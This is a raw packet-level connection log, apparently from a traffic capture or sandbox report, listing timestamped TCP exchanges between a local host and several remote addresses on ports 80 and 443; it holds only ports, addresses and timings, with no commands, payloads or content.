Nov 20, 2024 21:05:23.631757021 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.631789923 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.631841898 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.632546902 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.632599115 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.632659912 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.632715940 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.633351088 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.633404970 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.633480072 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.633526087 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.634325027 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.634370089 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.634490013 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.634540081 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.635030985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.635088921 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.635093927 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.635133028 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.635869980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.635921001 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.635946035 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.635991096 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.636717081 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:23.636764050 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:23.688766956 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.690293074 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.690310955 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.690886021 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.690891027 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.740395069 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.741314888 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.741336107 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.742012978 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.742018938 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.749581099 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.750046968 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.750076056 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.750968933 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.750974894 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.876229048 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.876827002 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.876842022 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.877543926 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.877549887 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.893491983 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.893946886 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.893976927 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:23.894496918 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:23.894503117 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.162456989 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.162522078 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.162628889 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.162648916 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.162699938 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.162718058 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.162803888 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.178534985 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.178534985 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.178555965 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.178567886 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.189783096 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.189802885 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.189923048 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.193851948 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.193878889 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.196100950 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.196129084 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.196183920 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.196197033 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.196244955 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.197032928 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.197040081 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.197053909 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.197185040 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.197216988 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.197299004 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.201786995 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.201870918 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.201940060 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.204175949 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.204184055 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.204226017 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.204231977 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.240644932 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.240660906 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.240776062 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.245366096 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.245388031 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.245517015 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.270446062 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.270462990 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.273735046 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.273758888 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.335335970 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.335376024 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.335447073 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.335463047 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.336044073 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.336139917 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.348428965 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.348481894 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.348556995 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.407968044 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.407968044 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.407990932 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.408004999 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.410449028 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.410449028 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.410494089 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.410527945 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.547475100 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.547518969 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.547600031 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.562273026 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.562304974 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.562396049 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.581296921 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.581319094 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:24.583079100 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:24.583096981 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:25.054596901 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.054629087 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.054742098 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.055067062 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.055080891 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.100353003 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.100450039 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.100547075 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.100878000 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.100913048 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.628926039 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.628963947 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.629031897 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.629636049 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.629653931 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.644694090 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.644736052 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:25.644800901 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.645163059 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:25.645184040 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.140029907 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.140667915 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.140682936 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.141272068 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.141278028 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.324100971 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.324203968 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.325229883 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.325261116 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.325854063 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.325860977 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.326381922 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.326395035 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.326993942 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.326997995 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.509893894 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.510699987 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.510716915 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.511226892 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.511233091 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.512698889 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.513185024 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.513216972 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.513489962 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.513494015 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.598078966 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.598279953 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.598440886 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.598485947 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.598499060 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.598512888 CET	49708	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.598519087 CET	443	49708	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.602061033 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.602129936 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.602477074 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.602699041 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.602720976 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.785960913 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.786042929 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.786242962 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.786483049 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.786513090 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.786525011 CET	49709	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.786530018 CET	443	49709	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.790098906 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.790154934 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.790239096 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.790420055 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.790433884 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.852387905 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.852454901 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.852624893 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.852996111 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.852996111 CET	49710	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.853019953 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.853029013 CET	443	49710	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.856165886 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.856220007 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.856312990 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.856483936 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.856499910 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.866381884 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.867255926 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.867265940 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.868710041 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.868779898 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.870356083 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.870435953 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.870719910 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.870726109 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.895308971 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.897958994 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.898021936 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.900988102 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.901088953 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.901531935 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.901716948 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.901812077 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.901829004 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:26.922367096 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.953630924 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:26.975375891 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.975439072 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.975788116 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.975788116 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.975848913 CET	49712	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.975872040 CET	443	49712	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.978238106 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.978302956 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.978370905 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.978724003 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.978744030 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.978758097 CET	49711	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.978764057 CET	443	49711	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.979357958 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.979388952 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.979641914 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.979923010 CET	49725	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.979933023 CET	443	49725	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.981766939 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.981816053 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:26.981950998 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.982103109 CET	49726	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:26.982120991 CET	443	49726	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:27.107810974 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.108093023 CET	443	49717	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.108190060 CET	49717	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.267743111 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:27.267822981 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:27.603353024 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.603681087 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.603719950 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.604693890 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.604969025 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.604996920 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.607458115 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.607536077 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.607880116 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.608046055 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.608058929 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.608079910 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.608380079 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.608632088 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.608844042 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.608911037 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.608990908 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.651330948 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.656771898 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.656810999 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.656847000 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.656871080 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.703629971 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.703639984 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.722935915 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.723073959 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.723162889 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.723223925 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.723244905 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.723293066 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.723299980 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.730133057 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:27.730772018 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.730943918 CET	49716	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:27.730964899 CET	443	49716	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.457547903 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.457712889 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.457777977 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.457803965 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.457891941 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.457947969 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.457957983 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.460381985 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.460726023 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.460799932 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.461539984 CET	49720	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.461560965 CET	443	49720	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.465599060 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.465703011 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.465734005 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.471453905 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.471560955 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.471591949 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.489697933 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.489799976 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.489814997 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.489847898 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.489931107 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.640712976 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.641629934 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.641648054 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.642293930 CET	49723	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.642298937 CET	443	49723	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.642630100 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.647656918 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.648144960 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.648164988 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.648535967 CET	49724	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.648540974 CET	443	49724	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.668611050 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.668715000 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.668725014 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.671742916 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.671837091 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.671844006 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.685020924 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.685116053 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.685122013 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.692600965 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.692668915 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.692688942 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.701832056 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.701920033 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.701941013 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.711779118 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.711848974 CET	49721	443	192.168.2.7	216.58.208.228
Nov 20, 2024 21:05:28.711869001 CET	443	49721	216.58.208.228	192.168.2.7
Nov 20, 2024 21:05:28.715589046 CET	443	49722	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:28.716144085 CET	49722	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:28.716212988 CET	443	49722	13.107.246.63	192.168.2.7
